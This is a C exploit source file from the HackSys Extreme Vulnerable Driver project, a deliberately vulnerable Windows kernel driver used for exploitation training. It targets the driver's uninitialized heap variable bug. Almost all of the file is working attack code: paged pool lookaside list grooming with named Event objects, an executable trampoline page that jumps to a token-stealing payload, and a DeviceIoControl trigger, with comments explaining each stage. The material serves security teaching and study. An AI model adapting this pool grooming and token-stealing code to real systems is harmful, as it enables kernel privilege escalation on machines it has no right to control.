mirror of
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
synced 2026-06-08 14:31:02 +00:00
HackSys Team
278 lines
10 KiB
C
278 lines
10 KiB
C
/*++
|
|
|
|
## ## ######## ## ## ########
|
|
## ## ## ## ## ## ##
|
|
## ## ## ## ## ## ##
|
|
######### ###### ## ## ## ##
|
|
## ## ## ## ## ## ##
|
|
## ## ## ## ## ## ##
|
|
## ## ######## ### ########
|
|
|
|
HackSys Extreme Vulnerable Driver Exploit
|
|
|
|
Author : Ashfaq Ansari
|
|
Contact: ashfaq[at]hacksys[dot]io
|
|
Website: https://hacksys.io/
|
|
|
|
Copyright (C) 2021-2023 HackSys Inc. All rights reserved.
|
|
Copyright (C) 2015-2020 Payatu Software Labs LLP. All rights reserved.
|
|
|
|
This program is free software: you can redistribute it and/or modify it under the terms of
|
|
the GNU General Public License as published by the Free Software Foundation, either version
|
|
3 of the License, or (at your option) any later version.
|
|
|
|
This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
|
|
without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
|
See the GNU General Public License for more details.
|
|
|
|
You should have received a copy of the GNU General Public License along with this program.
|
|
If not, see <http://www.gnu.org/licenses/>.
|
|
|
|
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
|
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
|
ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT,
|
|
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
|
|
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
|
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
|
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
|
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
|
|
See the file 'LICENSE' for complete copying permission.
|
|
|
|
Module Name:
|
|
UninitializedHeapVariable.c
|
|
|
|
Abstract:
|
|
This module implements the exploit for Uninitialized
|
|
Heap Variable Vulnerability implemented in HackSys
|
|
Extreme Vulnerable Driver.
|
|
|
|
References:
|
|
https://github.com/badd1e/bug-free-adventure/blob/master/uninitialized-pool/hacksys-challenge-Win7.cpp
|
|
http://dokydoky.tistory.com/445
|
|
|
|
--*/
|
|
|
|
#include "UninitializedHeapVariable.h"
|
|
|
|
VOID GenerateObjectNameWithPayloadTrampoline(UCHAR Name[], UINT32 Length, ULONG_PTR Pivot) {
|
|
UINT32 i = 0;
|
|
|
|
for (i = 0; i < Length; i++) {
|
|
Name[i] = RandomNumber(0x41, 0x5A); // From A-Z
|
|
}
|
|
|
|
Name[4] = (UINT_PTR)Pivot & 0xFF;
|
|
Name[5] = ((UINT_PTR)Pivot & 0xFF00) >> 8;
|
|
Name[6] = ((UINT_PTR)Pivot & 0xFF0000) >> 16;
|
|
Name[7] = (UINT_PTR)Pivot >> 24;
|
|
|
|
Name[Length - 1] = '\0';
|
|
}
|
|
|
|
ULONG_PTR MapPivotPage(PVOID Payload) {
|
|
ULONG_PTR Pivot = 0;
|
|
PVOID BaseAddress = NULL;
|
|
SIZE_T RegionSize = 0x1;
|
|
BOOLEAN PivotMapped = FALSE;
|
|
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
|
|
|
|
while (!PivotMapped) {
|
|
Pivot = RandomNumber(0x41, 0x4F) & 0xFF;
|
|
Pivot |= (RandomNumber(0x31, 0x3F) & 0xFF) << 8;
|
|
Pivot |= (RandomNumber(0x21, 0x2F) & 0xFF) << 16;
|
|
Pivot |= (RandomNumber(0x11, 0x1F) & 0xFF) << 24;
|
|
|
|
BaseAddress = (PVOID)Pivot;
|
|
|
|
NtStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,
|
|
&BaseAddress,
|
|
0,
|
|
&RegionSize,
|
|
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
|
|
PAGE_EXECUTE_READWRITE);
|
|
|
|
if (NtStatus == STATUS_SUCCESS) {
|
|
*(PBYTE)Pivot = 0x68; // push 32b imm
|
|
*(PULONG_PTR)(Pivot + 1) = (ULONG_PTR)Payload;
|
|
*(PBYTE)(Pivot + 5) = 0xC3; // ret
|
|
|
|
PivotMapped = TRUE;
|
|
|
|
DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", BaseAddress);
|
|
DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", RegionSize);
|
|
DEBUG_INFO("\t\t\t[+] Payload Trampoline: 0x%p\n", Pivot);
|
|
}
|
|
}
|
|
|
|
return Pivot;
|
|
}
|
|
|
|
VOID PopulateLookAsideList(PVOID Payload) {
|
|
UINT32 i = 0;
|
|
ULONG_PTR Pivot = 0;
|
|
UCHAR EventName[MAX_OBJECT_NAME_LENGTH] = { 0 };
|
|
HANDLE EventObjects[MAX_CHUNKS_IN_LAL_BUCKET] = { 0 };
|
|
|
|
// Initialize the Random Number Generator
|
|
srand((unsigned)time(NULL));
|
|
|
|
Pivot = MapPivotPage(Payload);
|
|
|
|
/*
|
|
We know that each bucket in LookAsideList can not hold more than 256 free chunks.
|
|
|
|
As we are dealing with Named Objects, one of the caveat is, if same static string
|
|
is passed to consecutive calls to Object constructor as Object Name, then only one
|
|
Pool chunk will be served for all the requests. This will not allow us to populate
|
|
LookAsideList and the exploitation will fail.
|
|
|
|
To overcome this issue, we need to make sure that the string is random for each call
|
|
to Object constructor.
|
|
|
|
So, to populate the LookAsideList, allocate 256 objects of same size and then free them.
|
|
*/
|
|
|
|
for (i = 0; i < MAX_CHUNKS_IN_LAL_BUCKET; i++) {
|
|
GenerateObjectNameWithPayloadTrampoline(EventName,
|
|
sizeof(EventName) - UNICODE_TERMINATOR_LENGTH,
|
|
Pivot);
|
|
|
|
EventObjects[i] = CreateEventW(NULL, FALSE, FALSE, (LPCWSTR)EventName);
|
|
|
|
if (!EventObjects[i]) {
|
|
DEBUG_ERROR("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
}
|
|
|
|
for (i = 0; i < 256; i++) {
|
|
if (!CloseHandle(EventObjects[i])) {
|
|
DEBUG_ERROR("\t\t[-] Failed To Close Event Object Handle: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
}
|
|
}
|
|
|
|
VOID WaitForLookAsideListActivation() {
|
|
ULONG TickCount = 0;
|
|
ULONG TickCountDifference = 0;
|
|
ULONG TargetTickCount = 125000; // 2 minutes + 30 seconds (extra)
|
|
|
|
// Get the tick count
|
|
TickCount = GetTickCount();
|
|
|
|
if (TickCount > TargetTickCount) {
|
|
DEBUG_INFO("\t\t\t[+] LookAsideList is already activated\n");
|
|
}
|
|
else {
|
|
TickCountDifference = TargetTickCount - TickCount;
|
|
|
|
DEBUG_INFO("\t\t\t[+] Waiting %d seconds for LookAsideList activation\n", TickCountDifference/1000);
|
|
|
|
Sleep(TickCountDifference);
|
|
|
|
DEBUG_INFO("\t\t\t[+] LookAsideList is now activated\n");
|
|
}
|
|
}
|
|
|
|
DWORD WINAPI UninitializedHeapVariableThread(LPVOID Parameter) {
|
|
UINT32 i = 0;
|
|
ULONG BytesReturned;
|
|
HANDLE hFile = NULL;
|
|
ULONG_PTR MagicValue = 0xBAADF00D;
|
|
LPCSTR FileName = (LPCSTR)DEVICE_NAME;
|
|
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
|
|
PVOID EopPayload = &TokenStealingPayloadDuplicateToken;
|
|
|
|
__try {
|
|
// Get the device handle
|
|
DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
|
|
DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);
|
|
|
|
hFile = GetDeviceHandle(FileName);
|
|
|
|
if (hFile == INVALID_HANDLE_VALUE) {
|
|
DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
else {
|
|
DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
|
|
}
|
|
|
|
/*
|
|
This is a very interesting bug. At first, it seems to be a very easy bug to exploit.
|
|
However, we need to solve some challenges.
|
|
|
|
Challenges
|
|
1. Grooming Paged Pool (4 Paged Pool in Uniprocessor System)
|
|
2. Preparing Target Pool Chunk with controlled data
|
|
|
|
We know that vulnerability is like call [address + 4]. So, this is very important
|
|
for exploitation. As we know that when a pool chunk is freed to ListHeads, POOL_HEADER
|
|
is immediately followed by LIST_ENTRY structure which is used to track the pool chunk.
|
|
|
|
If you remember, LIST_ENTRY is of 8 bytes. Hence, if the Pool chunk is freed to ListHeads
|
|
then the exploitation will fail as call [LIST_ENTRY.Blink] will throw an exception.
|
|
|
|
For successful exploitation, the target pool chunk should be freed to LookAsideList because
|
|
chunks in LookAsideList are tracked using SLIST_ENTRY which has only one member.
|
|
*/
|
|
|
|
DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");
|
|
|
|
// Resolve Kernel Symbols
|
|
ResolveKernelAPIs();
|
|
|
|
/*
|
|
First stage of exploitation is to make sure that LookAsideList is activated.
|
|
|
|
If you have read Tarjei's paper on "Kernel Pool Exploitation on Windows 7", you will
|
|
know that LookAsideList is lazy activated 2 minutes after boot.
|
|
|
|
Ref: http://gate.upm.ro/os/LABs/Windows_OS_Internals_Curriculum_Resource_Kit-ACADEMIC/WindowsResearchKernel-WRK/WRK-v1.2/base/ntos/ex/pool.c
|
|
|
|
So, let's make sure that 2 minutes have elapsed after boot or wait for the same.
|
|
*/
|
|
|
|
DEBUG_INFO("\t\t[+] Checking LookAsideList activation status\n");
|
|
|
|
WaitForLookAsideListActivation();
|
|
|
|
/*
|
|
Next stage of exploitation is to make sure that _KPRCB.PPPagedLookasideList[0x1E]
|
|
((((0xF0+0xF) >> 3) - 1) = 0x1E) is populated.
|
|
|
|
If the payload address contains NULL, then the exploitation will fail. So, make sure
|
|
there is no NULL in the payload address.
|
|
*/
|
|
|
|
DEBUG_INFO("\t\t[+] Populating _KPRCB.PPPagedLookasideList[0x1E]\n");
|
|
|
|
PopulateLookAsideList(EopPayload);
|
|
|
|
DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);
|
|
|
|
DEBUG_MESSAGE("\t[+] Triggering Use of Uninitialized Heap Variable\n");
|
|
|
|
OutputDebugString("****************Kernel Mode****************\n");
|
|
|
|
DeviceIoControl(hFile,
|
|
HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE,
|
|
(LPVOID)&MagicValue,
|
|
0,
|
|
NULL,
|
|
0,
|
|
&BytesReturned,
|
|
NULL);
|
|
|
|
OutputDebugString("****************Kernel Mode****************\n");
|
|
}
|
|
__except (EXCEPTION_EXECUTE_HANDLER) {
|
|
DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
return EXIT_SUCCESS;
|
|
}
|